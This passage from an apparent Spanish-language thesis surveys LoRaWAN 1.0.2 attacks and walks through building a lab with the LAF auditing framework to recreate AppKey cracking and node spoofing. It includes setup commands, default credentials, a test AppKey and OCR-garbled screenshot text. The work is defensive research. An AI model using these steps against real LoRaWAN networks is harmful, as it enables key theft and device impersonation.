Dnar =10 M2 upctr =21

Replay ACK

ACK dnetr= 1

Upctr =21
Dnctr =11

Figura 54. Ejemplo de ataque de repeticion de ACK's

Los mensajes Join-Accept no se asocian univocamente a un mensaje Join-Request. Esta
vulnerabilidad permite la suplantacion de los dispositivos.

Sin proteccion extremo a extremo. No se protege la integridad de los datos en el transcurso desde el
Network Server hasta el Application Server, lo que se pone que pueden ser modificados.

Ataques Jamming: se trata de una denegacion de servicio (DoS) al ocupar por completo el canal de
comunicacion que estd utilizando otro dispositivo. En el caso de LoRaWAN, al no cifrarse los
mensajes Join-Request y Join-Accept, es posible saber qué canal estd usando un dispositivo.

Ataques Eavesdropping: si se esnifa el trafico entre un Gateway y un dispositivo, y se capturan dos
mensajes con el mismo contador, pueden ser descifrados los datos al coincidir el keystream.
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Figura 55. Ejemplo de ataque Eavesdropping

Ataques Bit Flipping: si se tiene acceso al Network Server o se ha realizado previamente un ataque
Man-In-The-Middle, es posible alterar un bit del mensaje que se transmite hacia el Application
Server, como prueba de que la integridad no se protege. Este ataque permite modificar los bits del
ciphertext para, a su vez, modificar los datos en texto plano originales.

Bit flipping

] k Appl
End device ;D)))C((@ Gateway S:;‘:‘_‘:"r 4 psfell’-:\zlrm

Message signed (NwkSKey)

Message encrypted (AppSKey or NWkSKey)

plaintext® keystream = ciphertext

ciphertext® keystream= plaintext
P ¥y F

Figura 56. Ejemplo de ataque Bit Flipping

Ataques Password Cracking: si se tiene acceso a la red y se capturan los mensajes Join-Request y
Join-Accept intercambiados durante la unién de un dispositivo, es posible descifrar la AppKey del
dispositivo. Una vez conseguida esta clave, se pueden recuperar las claves de sesion (NwkSKey y
AppSKey) utilizando los mismos mensajes Join-Request y Join-Accept capturados.

Ataques Spoofing: Conociendo la AppKey de un dispositivo, es posible realizar ataques de
suplantacion a través del plano radio utilizando un nodo al que se le configura la misma AppKey
conseguida, y a través del plano TCP / IP donde, ademas, es posible realizar ataques de repeticion
para invisibilizar al nodo legitimo en la red.



3 DEMOSTRADOR DE ATAQUES Y
VULNERABILIDADES EN REDES LORAWAN

va a implementar un escenario real LoRaWAN donde se van a realizar dos ataques a modo de prueba

Habiendo explicado en el capitulo anterior en qué consiste el protocolo LoRaWAN, en este capitulo se
de concepto para mostrar vulnerabilidades existentes en este protocolo.

3.1 Introduccion

En el ultimo apartado del capitulo anterior se comentaron las principales vulnerabilidades de la version 1.0.2
de LoRaWAN. A continuacion, se van a recrear los ataques Password Cracking y Spoofing.

e Para el ataque Password Cracking se va a utilizar un nodo LoRaWAN que se unird a la red y
transmitira paquetes. Se capturaran los mensajes de union a la red para descifrar las claves implicadas
en la comunicacion (AppKey, NwkSKey, AppSKey).

AppKey =X
AppSKey = yyy
NwkSKey = zzz

Nodo legitimo LAF Network Server
v
JoinRequest
— — —— — —»
< . . S S

JoinAccept

Figura 57. Concepto Password Cracking
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o Para el ataque Spoofing se van a utilizar dos nodos LoRaWAN: uno sera el nodo legitimo de la red
que transmitira paquetes sobre la informacion de sus sensores, y el otro se comportard como un nodo
malicioso que, una vez se obtienen las claves mediante el ataque Password Cracking, suplantara al
nodo legitimo y transmitira datos arbitrarios. Este ataque sera realizado en el plano de radio y en el

plano TCP / IP.
Nodo malicioso Nedo legitimo LAF Network Server

| JoinRequest

v

JoinAccept

NwkSKey, AppSKey
« - _

_ Datos (AppKey = xxx, NwkSKey = yyy, AppSKey = zzz, FCnt = 1)

0K
_ Datos (AppKey = xxx, NwkSKey = yyy, AppSKey = zzz, FCnt = 2)

OK
Datos (AppKey = o0, NwkSKey = yyy, AppSKey = zzz, FCnt = 100)

—» OK
Datos (AppKey = xxx, Nwk5Key = yyy, AppSKey = zzz, FCnt = 3)

Datos (AppKey = xx, NwkSKey = yyy, AppSKey = zzz, FCnt = 4) >

Datos (AppKey = xxx, NwkSKey = yyy, AppSKey = zzz, FCnt = 101)

v

OK

Figura 58. Concepto Spoofing

Ambos ataques requieren del uso de una aplicacion llamada LAF, un Gateway fisico LoRaWAN construido a
partir de una Raspberry Pi y una maquina virtual donde se alojara el Network Server y la Base de Datos.
Todos estos elementos para implementar el escenario van a ser tratados a continuacion.

3.2 Preparacion del entorno

Para la demostracion practica sobre la seguridad en redes LoRaWAN se van a recrear dos ataques especificos
y se analizaran los resultados para, finalmente, determinar las medidas de deteccion y de proteccion a tomar.

Por simplicidad, estas pruebas se han realizado sobre una maquina virtual Ubuntu 20.04 (version de kernel:
5.15.0-43-generic) con 2 GB de memoria RAM y 25 GB de almacenamiento, en VirtualBox.

Por otro lado, se ha utilizado LAF (LoRaWAN Auditing Framework), un proyecto de software libre que cuenta
con una variedad de herramientas escritas en Python para realizar pruebas de auditoria y test de penetracion en
redes LoORaWAN. Ademas de las herramientas de auditoria, LAF sera el encargado de configurar el Gateway
LoRaWAN, arrancar una base de datos relacional que almacenara en varias tablas los datos de los paquetes, y
levantara el Network Server de la red LoRaWAN.

Por ultimo, para este escenario se van a utilizar dos nodos hardware y una Raspberry Pi 3b+ junto con una
placa iC880A-SPI y una antena SMA CON 2dBi de ganancia y que funciona en la banda EU868.
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Figura 59. Arquitectura del escenario

3.21 Instalacién y configuracion de LAF

LAF [64] tiene como objetivo proporcionar una serie de herramientas para crear, analizar, enviar, analizar y
descifrar un conjunto de paquetes LoRaWAN para auditar o evaluar la seguridad de una infraestructura
LoRaWAN.

Los archivos principales de LAF que seran utilizados a lo largo de las demostraciones son:

o UdpSender.py: se utiliza para el envio de paquetes uplink y downlink.
o UdpProxy.py: es un proxy situado entre el Gateway y el Network Server para analizar el trafico.

e PacketForwarderCollector.py: los paquetes recibidos por UdpProxy.py son reenviados a este script
para su almacenamiento en la base de datos.

e LafProcessData.py: se trata del archivo principal de LAF ya que cumple varias funciones como la
ejecucion de herramientas, fuerza bruta para romper la clave AppKey y el andlisis de los paquetes
recibidos.

e PacketCrafter.py: recibe un paquete LoRaWAN en formato JSON y lo convierte en Base64.

Las alertas generadas por LAF actualmente implementadas (existen un total de 10 alertas de las cuales 3 de
ellas se encuentran en desarrollo) se recogen en la siguiente tabla:

ID Descripcion Script implicado Riesgo

LAF-001 DevNonce Repetido. Puede deberse a la | LafPacketAnalysis.py Bajo
aleatoriedad y ser un falso positivo o un
ataque de repeticion (Replay Attack)
donde un atacante captura y reenvia un
Join-Request.

LAF-002 Distintos DevEUI para la misma | LafPacketAnalysis.py | Informativo
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DevAddr.

LAF-006 Posible dispositivo ABP. El contador de | LafPacketAnalysis.py Alto
tramas vuelve a 0 sin una unién previa.

LAF-007 Valor del contador mas pequeio de lo | LafPacketAnalysis.py Medio
esperado. Puede implicar la suplantacién
de un nodo ¢ invisibilizarlo en la red.

LAF-008 / | Descifrada una AppKey a partir de | LafBruteforcer.py Alto
LAF-009 mensajes Join-Request / Join-Accept.

LAF-010 Cambio de ubicacion de un Gateway. LafPacketAnalysis.py Medio

Tabla 1. Alertas de LAF

Como se indica en la documentacion oficial del proyecto en su repositorio de GitHub [64], los pasos a realizar
son los siguientes:

1. Clonar el repositorio:

git clone --recurse-submodules https://github.com/IOActive/laf.git

2. Instalar Python3:

sudo apt-get update
sudo apt-get install python3.6

3. Instalar las dependencias necesarias para el proyecto:

sudo pip3 install paho-mgtt && sudo pip3 install sqlalchemy && sudo pip3 install
psycopg2-binary &&sudo pip3 install python-dateutil

4. Establecer las variables de entorno PYTHONPATH y ENVIRONMENT:

cd laf & export PYTHONPATH=$(pwd) && export ENVIRONMENT='DEV’

5. Instalar Golang y compilar las librerias del proyecto:

sudo tar -C /usr/local -xvzf INSTALADOR
export PATH=$PATH:/usr/local/go/bin
export GOPATH="$HOME/go"

cd laf/lorawanwrapper/utils

go build -0 lorawanWrapper.so -buildmode=c-shared jsonUnmarshaler.go
lorawanWrapper.go micGenerator.go sessionKeysGenerator.go hashGenerator.go



6. Para nuestro escenario, instalaremos PostgreSQL utilizando Docker:

cd laf/

docker-compose up --build

Podemos utilizar el comando tree para visualizar todos los archivos y directorios que se han creado:

__init__.py

keys. txt
LafBruteforcer.py
m-keys. txt

ti: __init__.cpython-38.pyc
LafBruteforcer.cpython-38.pyc

__init__.py
LafPacketAnalysis.py

ti: __init__.cpython-38.pyc
LafPacketAnalysis.cpython-38.pyc
LafProcessData.py
MyFile. txt

Figura 60. Instalacion de LAF: Comando tree

En la siguiente imagen se representa un diagrama de los servidores que arranca LAF, y los puertos que se
encuentran a la escucha:

Redis Server

PostgreSQL

1700 s
000 L}
7777780
18001
18003
18080
AIIII @) AIELIT @)
F/777 70 L1E1ET o]
ALILIT @] ALILIT @]

Servidor Web

Figura 61. Arquitectura de LAF

67



En la siguiente tabla se resumen los puertos TCP/UDP involucrados y sus funciones:

Puerto Protocolo de transporte Finalidad

6354 TCP Conexiébn con el servidor
Redis para subida de datos. No
sera  utilizado en las
demostraciones.

5432 TCP Conexiéin con la Base de
Datos PostgreSQL.

5001 TCP Consola web de
administracion de la Base de
Datos (PgAdmin4)

1700 UDP Comunicacion con el Gateway
LoRaWAN

8000 TCP Instancia del Network Server.

8001 TCP Uso dentro de la Aplicacion
Web.

8003 TCP Uso dentro de la Aplicacion
Web.

8080 TCP Consola web de
administracion del Network
Server (Chirpstack).

Tabla 2. Puertos TCP/UDP usados por LAF

3.2.2 Instalacién y configuracion del Gateway LoRaWAN

El Gateway LoRaWAN para este escenario consiste en una Raspberry Pi conectada a una placa iC880A-SPI
que tiene la pila de protocolos de LoRaWAN instalada en su memoria. Como se muestra en la siguiente
imagen, la placa y la Raspberry Pi se conectan, haciendo uso de sus respectivos pines, de la siguiente forma:

Alternate m
Function

a [2]5vewr ]

CEIENRE) [a]svewr ]

(P03 |5 ] [6]cvo ]

[crios 7] 8 JuarTo T

[ovo__[9] [1o]uarTo RX |

[cp10 27 [13] jiafono |

(GP10 22_[15]

[17] D

[ spiomost[eio 10 J1o] 20{cno ]

[spiomisofcrios a1 DETEE
[Grio 11 | [22erio8 ]sriocso |
[ono o8 eJerio s Jspiocsi |

[Reserved [27] 28 Reserved |

[cP105  [29] gojeno ]

[er105  [31] 32[cP10 12 |

13 [P10 13 [a3] 2 EC
|! [spiimisocpio 19 [3s] 35]cp10 16 ]sp11cso |
[cP10 26 [37] s]cpio 20 ] sp1a mos]|
(oo [S) jaolcp1o 21 ]sp11scuk |

Figura 62. Pines Raspberry Pi



Figura 63. Conexion entre los pines de la Raspberry Pi y la placa iC880A

En la siguiente tabla se representa la conexion de estos pines:

Pin Raspberry Pi GPIO (Raspberry Pi) Pin SPI Placa iC880A

4 - 5V

6 - GND

11 17 RESET

19 10 MOSI

21 9 MISO

23 11 SCLK

24 8 SS

25 - GND

Tabla 3. Conexion de pines del Gateway

Utilizando un cable Pigtail se conecta una antena SMA omnidireccional de 2 dBi de ganancia con conector
macho a la placa. En la siguiente foto se muestra el Gateway completo:
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Figura 64. Gateway LoORaWAN

Instalaremos LAF en la Raspberry Pi de la misma manera que hemos comentado anteriormente, pero en este
caso, solo seran utilizados los archivos del directorio Aaf/scripts/lorawan_gateway scripts/ que son los
encargados de configurar el dispositivo como Gateway LoRaWAN.

El primer paso es ejecutar el script LoRa-Gateway-Installer.sh:

Figura 65. Directorio y scripts de LAF para el Gateway

Tendremos que completar la informacion que nos pide el script para que se configure correctamente el
Gateway:



Figura 66. Ejecucion del instalador del Gateway

Introduciremos un 4 ya que la placa utilizada para este laboratorio no aparece en la lista.

Figura 67. Procedimiento de instalacion del Gateway: nombre y pin

Anadimos un nombre arbitrario para el Gateway e indicamos el pin de la Raspberry Pi al que se conecta el pin
de RESET de la placa iC880A-SPI, en este caso el pin nimero 17.

Figura 68. Procedimiento de instalacion del Gateway: banda de frecuencia

Como la banda de frecuencia que aplica en Europa es la EU868, indicaremos un 2.

Figura 69. Procedimiento de instalacion del Gateway: direccion IP y puertos
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Finalmente, indicamos la direccion IP que tiene la maquina virtual donde se encuentra el Network Server y sus
respectivos puertos de trafico uplink y downlink (en este caso se trata del mismo puerto).

Los archivos de  configuracion de este servicio se ubican en el  directorio
/home/pi/Desktop/laf/scripts/lorawan_gateway scripts/lora/packet _forwarder/lora_pkt fwd. Se tratan de dos
archivos con extension “.json“ que se resumen en:

e global conf.json: como su nombre indica, se trata del archivo de configuracion global donde se
recogen, especialmente, parametros de modulacion de la sefal.

e local confjson: a diferencia del archivo de configuracion global, este archivo no es obligatorio pero,
si existe, los parametros de configuracion que aqui se detallen sobrescribiran los del archivo global.

En este caso, se utiliza el archivo local_conf.json con la siguiente configuracion:

Figura 70. Archivo de configuracion local del Gateway

Donde, ademas de la informacion del Network Server, se ha configurado un identificador de 16 bytes en
hexadecimal para el Gateway ("gateway ID": "b827ebFFFEb5714d").

Un tltimo aspecto de configuracion que se debe realizar es activar la interfaz SPI (“Serial Peripheral
Interface’) de la Raspberry Pi para que pueda comunicarse con la placa. Para ello, debemos ejecutar el
comando sudo raspi-config:

Seleccionamos la tercera opcion del menu (Interface Options) y pulsamos la tecla ENTER:

3 Model B Plus Rev

Raspberry Pi Software Configuration Tool (raspi-config)

1 System Options Configure system settings

2 Display Options Configure display settings

3 Interface Opti Configure ions

4 performance Options Configure settings

5 Localisation Options Configure language and regional settings
6 Rhdvanced Options Configure advanced settings

8 Update Update this tool to the latest version

9

Bbout raspi-config Information about this configuration tool

<Select> <Finish>

Figura 71. Configuracion de la interfaz SPI (I)




Seleccionamos la cuarta opcion del menu (SP/) y pulsamos la tecla ENTER:

! Raspberry Pi Software Configuration Tool (raspi-config) !

Pl Camera Enable/disable connection to the Raspberry Pi Camera
P2 SSH Enable/disable remote command line access using SSH
P3 VNC Enable/disable graphical remote access using RealVNC

Enable/ ble autcmatic loading of SPI kernel module
P5 I2C Enable/disable automatic loading of I2C kernel module

P6 Serial Port Enable/disable shell messages on the serial connection
P7 1-Wire Enable/disable one-wire interface

P8 Remote GPIO Enable/disable remote access to GPIO pins

<Select> <Back>

Figura 72. Configuracion de la interfaz SPI (1)

Seleccionamos “SI” y pulsamos la tecla ENTER:

Would you Like the SPI interface to be enabled? Tha 3FI interface 18 snabled

= <Ho> hcoptan

Figura 73. Configuracion de la interfaz SPI (I1I)

Una vez configurado, se habrd creado el servicio “lorawan-gateway” que podremos arrancar, parar y
comprobar su estado con el comando:

service lorawan-gateway start|stop|status

Otra opcion es arrancarlo con el comando gw_start.

En la siguiente imagen se muestra el arranque del Gateway sin errores:
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Figura 74. Iniciar el Gateway

Una vez hecho este procedimiento, el Gateway se mantiene en un ciclo constante esperando trafico LoRa:

Figura 75. Gateway a la escucha

Podemos comprobar que se encuentra ejecutandose el servicio con el comando ps -ax | grep -E
‘gw|lora’:

Figura 76. Procesos del Gateway

Utilizando el comando netstat -atunp | grep ‘lora’ se comprueba que el Gateway y el Network Server
han establecido dos conexiones, la de subida y la de bajada:



Figura 77. Puertos y comunicaciones establecidas por el Gateway

3.2.3 Configuracion del Network Server

Entre la gama de Network Servers, LAF utiliza ChirpStack, una aplicacion de codigo abierto que se puede
utilizar para configurar redes LoRaWAN. ChirpStack proporciona una interfaz web para la gestion de
gateways y nodos, asi como para configurar conectores con bases de datos y otros servicios para manejar datos
de dispositivos como MQTT, Redis, etc.

El primer paso consiste en acceder a la consola de administracion del Network Server con el usuario y
contrasefia por defecto que se proporciona en la documentacion de LAF (admin / admin)

@ chirpstack Applicatio

€« c Q D localhast: 0% r @ =

ChirpStack Login

admin

Una vez dentro, el primer paso es crear una instancia para el Network Server de la red. Para ello, hay que hacer
clic sobre Network-servers en el menu del lateral izquierdo, y luego clic en ADD. Se establece un nombre a
modo de identificador, la direccion IP y un puerto de escucha para la instancia:

xx=

A  Dashboard

/ Add

Network servers

Gateway-profiles

fi;  Organizations

Org. AP keys
2 Sewiceprofiles
Device-profiles
Gateways

Apglications

Por ejemplo, podemos utilizar localhost como nombre de dominio y el puerto 8000:
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Network-servers P

localhost 8000

Rowsperpage: 10~ 1dof1

En la seccion Gateway-profiles del ment1 lateral, creamos un perfil para el Gateway como el siguiente:

Gateway-profiles / loTGateway

LoRa - 125kHz

858000000 789,101,712

ADD EXTRA CHAMNEL

En la seccion Device-profiles del men lateral, creamos un perfil para los nodos como el siguiente:

W oeeTe

Device-profiles / IOTDEV

GENERAL JOIN (OTAA / ABP) LA LASS

OTDEV

Default ADR algarithm

86400

Es importante que se seleccione la version 1.0.2. de LoRaWAN y que se active la opcion de dispositivos
configurados como OTAA, ya que los nodos que se van a utilizar para este trabajo tendran esta configuracion:
GENERAL JOIN (OTAA / ABP)

Device supports OTAA

También, se debe configurar un Gateway para la red en la seccion Gateways. Hay que afiadir un nombre,
descripcion, el perfil anteriormente creado, el mismo ID que configuramos en la Raspberry Pi y a la instancia
del Network Server con la que se va a comunicar:



Gateways + CREATE

Last seen Name Gateway ID Network server Gateway activity (30d)

2 days ago Gatewa bea7ebfffebs714d localhost

Por ultimo, se debe crear una aplicacion (seccion Applications) para permitir la union de los nodos, crear
grupos multicast y/o configurar integraciones con otras aplicaciones:
Applications w» GELE

D Name Service-profile Description
7 Laboratorio-Seguridad-LoRaWAN-TFG I0TSER Aplicacion creada para el estudio de a sequridad en redes LOREWAN

Rows perpage: 10~ 1-10f1

3.24 Configuracion de la Base de Datos

El sistema de base de datos que se va a utilizar es PostgreSQL que se trata de un sistema relacional de objetos
de codigo abierto. Para la administracion web de la base de datos se usara pgAdmin4 que también es una
aplicacion de codigo abierto.

El primer paso es ejecutar el comando sudo docker-compose up para levantar la base de datos:

wtelecom@wtelecom-VirtualBox: ~fEscritorioflaf

$ sudo docker-compose up

Attaching to laf_pgadmin4_1, laf_tools_1, laf _db_1
D n | sudo: setrlimit(RLIMIT_CORE): Operation not permitted
2022-08-29 15:48:40.245 UTC [1] LOG: listening on IPv4 address "9.0.0.0", port 5432
2022-08-29 15:48:40.245 UTC [1] LOG: 1listening on IPv6 address "::", port 5432
2022-08-29 15:48:40.252 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2022-08-29 15:48:40.278 UTC [20] LOG: database system was interrupted; last known up at 2022-08-29 15:46

11 UTC

Figura 78. Arrancar la base de datos

En la maquina virtual, mediante un navegador web, se accede a la consola de administracion de la base de
datos con el usuario y contrasefia por defecto (pgadmin / pgadmin):
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@ pgadmin g

« c O D localhost:5001/loginnext=%2F 0% 7 =

PpgAdmin 4

Figura 79. Login de la consola de PgAdmin4

Una vez dentro de la consola, en el menu situado en el lateral izquierdo, haciendo clic sobre Servers (1), se
desplegaran las bases de datos existentes. LAF, durante la instalacion, crea la base de datos con nombre
loraguard _db que cuenta con 18 tablas donde, entre otros datos, se almacenaran los paquetes que se
transmiten por la red, informacion sobre los dispositivos y alertas de seguridad:

@Admin File  Object~ Tools v

Browser B wQ
v = Servers (1)
v [} Postgres Network Server
v = Databases (5)
> = chirpstack_as
¥ gchirpstack_ns
| v =icraguard_do |

Figura 80. Base de datos de LAF

v [ Tables (18) > [ device
> Halert » [ device_auth_data
» [ alert_type » [ device_session
> [ collector_message » [ gateway
> [Fldata_collector > [ gateway_to_device
» [Fdata_collector_to_device > [ gateway_to_device_session
¥ [ organization
¥ [ data_collector_to_device_session > £ packet
» [Fldata_collector_type > [ potentizl_app_key
* Edev_nonce » [ row_processed

Figura 81. Tablas de la base de datos loraguard db

3.2.5 Instalacion y configuracion de los Nodos

Para las pruebas que se van a realizar se necesitan dos nodos clase A con la activacion configurada en modo
OTAA vy sus respectivos modems utilizan la version 1.0.2 de LoORaWAN.



Podemos distinguir los nodos utilizados para las pruebas como:

e Nodo legitimo: se trata de un dispositivo propietario de Wellness TechGroup llamado MiniQ que son
disefiados para la medicion volumétrica que pueden ser aplicados en multitud de escenarios: residuos,
tratamiento de agua o industria 4.0, entre otros. Para poder despertar este nodo y mandar comandos
AT se utiliza la comunicacion por el puerto serie.

Figura 82. Nodo legitimo

e Nodo malicioso: se trata del kit ASR6501 de la marca M5Stack que utiliza la banda EU868. Cuenta
con un modulo llamado ATOM para interactuar con el moédem a través de micro-Python.

Figura 83. Nodo malicioso

3.25.1 Nodo legitimo

Una vez conectado el dispositivo a un puerto USB del ordenador y haciendo uso de la aplicacion PuTTY, se
introducen los valores que se muestran en la siguiente imagen:
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E® PUTTY Configuration ? X

Category:

= ession Basic options for your PuTTY session

. Logging ) L

© Terminal Specify the destination you wantto connectto
Keyboard Serial line Speed
Bell [coms| | [19200

Features . ]

© Window Eonnectlon t}r_pe. _

(JRaw () Telnet (ORlogin ()SSH @) Serial

-~ Appearance

Figura 84. Conexion con el nodo legitimo usando PuTTY

En este caso, el puerto de comunicacion es COMS, pero se recomienda comprobarlo en el Administrador de
Dispositivos de Windows. Una vez conectados, pulsando cualquier tecla, se despierta el nodo a la espera de
comandos.

Z® COMS - PuTTY

Sun]wake up

Figura 85. Despertar al nodo legitimo

Utilizando el comando modem, el nodo devuelve su configuracion actual:

Figura 86. Configuracion inicial del nodo legitimo

Como se aprecia en la imagen, se observa que utiliza la activacion OTAA, es un nodo clase 1 (A), aun no se ha
unido a ninguna red (joined=0 y claves de sesion a cero) y el resto de los identificadores (euid, appuid) y el
valor de la AppKey (2B7E1516284ED2A6ABF7158809CF4F45).



3.25.2 Nodo malicioso

Al igual que el nodo legitimo, una vez se conecta el nodo al ordenador mediante un puerto USB, se utilizaran
las aplicaciones esptool.exe y ampy.exe para Windows [65]. La instalacion de estas aplicaciones junto con la
descarga de las librerias utilizadas se detalla en el Anexo A de este documento.

El primer paso es borrar la memoria flash del nodo. Para ello, se ejecuta lo siguiente en la terminal de
comandos de Windows:

esptool.exe -chip esp32 -port COM8 erase_flash

AppData\Local\Programs\Python\Python38\Scripts\esptool.exe --chip esp32 --port COM8 erase_flash

esptool.py v4.2

PICO-D4 (revision 1)
, BT, Dual Core, 240MHz, Embedded Flash, VRef calibration in efuse, Coding Scheme None
40MHz
2 :75:25:af:4a:b8
Uploading stub...
Running stub
Stub running...
Erasing flash (this may take a while)...
IChip erase completed successfully in 6.4s
Hard resetting via RTS pin...

Figura 87. Borrado de memoria Flash en el nodo malicioso

El siguiente paso es instalar el firmware:

esptool.exe -chip esp32 -port COM8 write flash -z 0x1000 esp32-idf3-20210202-v1.14.bin

\AppData\

BT, Dual G

137.4 kbit/s)...

ng via RTS pin...

Figura 88. Instalacion del Firmware en el nodo malicioso

Por ultimo, se carga el directorio que contiene las librerias necesarias y el archivo main.py escrito en Python
(detallado en el Anexo B) necesario para que arranque el nodo. Para ello se introduce en la terminal lo
siguiente:

ampy.exe --port COM8 --delay 3 put lib
ampy.exe --port COM8 --delay 3 put main.py

En este momento, la estructura de archivos queda de la siguiente manera:
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AppData\Local\Programs\Python\Python38\Scripts\ampy.exe --port COM8 1ls

/boot.py
/1ib
/main.py

Figura 89. Ficheros y directorios en el nodo malicioso

3.3 Demostracion de los ataques

3.3.1 Password Cracking

Mediante esta recreacion del ataque Password Cracking se pretende demostrar que es posible recuperar la
AppKey vy las claves de sesion (NwkSKey, AppSKey) de un nodo a partir de la captura de los mensajes Join-
Request y Join-Accept.

El primer paso que hay que realizar es guardar el directorio actual (laf/) en la variable de entorno de Python
por cada terminal que vaya a ser utilizada: PYTHONPATH="$PWD"

wtelecom@wtelecom-VirtualBox: ~/Es... wtelecom@wtelecom-VirtualBox: ~

S PYTHONPATH="SPWD"

Figura 90. Variable de entorno de Python

Se arranca el proxy UDP de LAF que se encuentra en la ruta laf/tools con los siguientes argumentos:

python3 UdpProxy.py --port 1702 --dst-ip localhost --dst-port 1700 --collector-ip localhost --collector-port
1800

[l wtelecom@wtelecom-VirtualBox: ~/Escritorio/lafftools

g $ python3 udpProxy.py --port 1702 --dst-ip localhost --dst-port 1700 --collector-i
p localhost --collector-port 1800

B L L T T T T T T T ——
Security Framework - UdpProxy.py
(c) 2019 IOActive Inc. All rights reserved.

reating a new client
2622-08-29 16:55:46,827 - DEBUG - UDP packet from ('192.168.1.40', 59852) on ('0.6.0.0', 1762) forwarding to ('localhost', 1700) loca
port 39654:

b\ x02\xfeC\x02\xb8 "' \xeb\xff\xfe\xb5qM"

his is the thread for ('192.168.1.40"', 59852)

2022-08-29 16:55:46,860 - DEBUG - UDP packet from ('127.6.8.1', 1700) on ('0.0.0.0', 39654) forwarding to ('192.168.1.40', 59852) loc
Bl port 1702:

b ' \x02\xfeC\x04"

Figura 91. Arranque del proxy UDP de LAF

Estos argumentos indican que los paquetes LoORaWAN que capture el Gateway y que dirigira al puerto 1702
del Network Server (localhost), van a ser duplicados para almacenarlos en la base de datos a través del puerto
1800 y para reenviarlos al Network Server a través del puerto 1700.



Paralelamente, ejecutamos el colector de paquetes para su almacenamiento en la base de datos. Para ello se
ejecuta lo siguiente en la ruta laf/auditing/datacollectors:

python3 PacketForwarderCollector.py -n lora_column -p 1800

wtelecom@wtelecom-VirtualBox: ~/Escritorioflaffauditing/datacollectors

$ python3 PacketForwarderCollector.py -n lora_column -p 18060

B L AL 22 L e R R R S R ST T 2SS

LoRaWAN Security Framework - PacketForwarderCollector.
Copyright (c) 2019 IOActive Inc. ALl rights reserved.

et: b"\x02d\xc5\x02\xb8"'\xeb\xff\xfe\xb5qM"
et: b'\x02d\xc5\x04'
Commit done!
ipping packet: b"\x02\xa8\x01\x02\xba '\xeb\xff\xfe\xb5qM"
Skipping packet: b'\x82\xa8\x01\x04'

Commit done!
et: b"\x02\x14s\x02\xb8'\xeb\xff\xfe\xb5qM"
et: b'\x82\x14s\x04'

: b"\x02\xbd(\x02\xb8" \xeb\xff\xfe\xb5qM"
"\x02\xbd(\x04'
et: b'\x02Z\xc5\x01"'
Commit done!
ipping packet: b"\x82"K\x82\xb8'\xeb\xff\xfe\xb5qM"
ipping packet: b'\x02”K\x04'
:root:Commit done!

Figura 92. Arranque del colector de paquetes

Una vez ejecutado el proxy, se observa en la consola del Network Server que el Gateway ya se encuentra
activo:

« c T O localhost 1 %% 17 9 =
= @mpsmk
A Dashboard

Gateways + CREATE
& Networkservers

Gateway-profiles

Gateway sctnmy (20d)
B Organizations

Al users

Figura 93. Gateway activo en el Network Server

En el siguiente esquema se representa la idea de los pasos realizados hasta el momento:
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(T) 11700

Nodo (MiniQ)

11702
11800
— k>
UdpProxy.py PacketForwarderCollector.py
—
=
LafProcessData.py Visual Paradiom OROStgeeSGn

Figura 94. Esquema de los scripts utilizados de LAF

Para la demostracion, tenemos que configurar en el Network Server el nodo legitimo para que pueda unirse a
la red. Nos dirigimos a la consola del Network Server y creamos el siguiente dispositivo:

Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / Create

GENERAL VARIABLES TAGS
Device name *
MiniQ
The name may only contain words, numbers and dashes.

Device description *

Nodo legitimo

Device EUL*

008000000401 5¢ccb

Device-profile *

IOTDEV

[[] Disable frame-counter validation

Note that disabling the frame-counter validation will compromise security s it enables people to perform replay-attacks

[ Device is disabled

ChirpStack Network Server will ignore received uplink frames and join-requests from disabled devices.

Figura 95. Creacion del nodo legitimo en el Network Server

El siguiente paso sera configurar la AppKey que utilizarda el nodo, en este caso serd
2B7E1516284ED2A6ABF7158809CF4F45:



Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / MiniQ

DETAILS CONFIGURATION KEYS (OTAA) ACTIVATION DEVICE DATA LORAWAN FRAMES

Apr ey
2B7E1516 28 AED2 A6 AB F7 15 B8 09 CF 4F 45

Figura 96. AppKey del nodo legitimo en el Network Server

El nodo atn no se ha unido a la red y se encuentra dormido. Nos conectamos al médem para reiniciarlo con el
comando reboot:

2P COMS - PUTTY - | X

Figura 97. Reinicio del nodo legitimo

Una vez reiniciado, se utiliza el comando rtc que guardara los valores de los sensores del dispositivo y se unira
a la red para transmitirlos.

En la siguiente imagen se observa que la unién a la red ha sido satisfactoria (“Successfully joined network”):
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2P COMS - PuTTY - | X

Figura 98. El nodo legitimo se ha unido a la red LoRaWAN

En la siguiente imagen se puede observar que el Gateway ha capturado este paquete:

Figura 99. Captura de paquetes del Gateway

En el Network Server también se ve reflejada esta union y que el nodo ya esté activo:




Applications / Laboratorio-Seguridad-LoRaWAN-TFG W DELETE

DEVICES MULTICAST GROUPS ~ APPLICATION CONFIGURATION INTEGRATIONS
+ CREATE
Last seen Device name Device EUI Device profile Link margin Battery
[J aminuteago MiniQ 0080000004015cch 10TDEV 10d8 39.37%

Figura 100. Nodo legitimo activo

Se pueden comprobar los mensajes que han sido intercambiados entre el Network Server y el nodo:

Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / MiniQ

DETAILS CONFIGURATION KEYS (OTAA) ACTIVATION DEVICE DATA LORAWAN FRAMES

Aug 29 5:08:15 PM UnconfirmedDataDown | ( 867.3 MHz | | SF12 | | BW125 | | FCnt:0 | | DevAddr: 00de3c97 | | GW: b827ebfffeb5714d
Aug 29 5:08:14 PM UnconfirmedDatallp | | 867.3MHz | | SF12 | | BW125 | | FPort: 8 | | FCnt: 0 = | DevAddr: 00de3c97
Aug 29 5:08:05 PM JoinAccept | | 8681 MHz | | SF12 | | BW125 | | GW: b827ebfffeb5714d

Aug 29 5:08:04 PM JoinRequest | | 868.1 MHz | | SF12 | | BW125 | DevEUI: 0080000004015cch

Figura 101. Tramas enviadas/recibidas entre el nodo y el NS

Se pueden desplegar estos mensajes para ver toda la informacion contenida en las tramas (parametros fisicos,
parametros propios de LoRaWAN y datos):

Aug 29 5:08:04 PM JoinRequest 8681 MHz SF12 BW125 DevEUI: 0080000004015¢cch

v phyPayload: {} 3 keys

PSEpoch: null

uplinkiD: “fi

creStat

Figura 102. Ejemplo de mensaje Join-Request
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Como se ha indicado anteriormente, por el proxy UDP pasan todos los paquetes en crudo que se reciben. En la
siguiente imagen se observan los mensajes Join-Request (rectangulo azul) y Join-Accept (rectangulo verde):

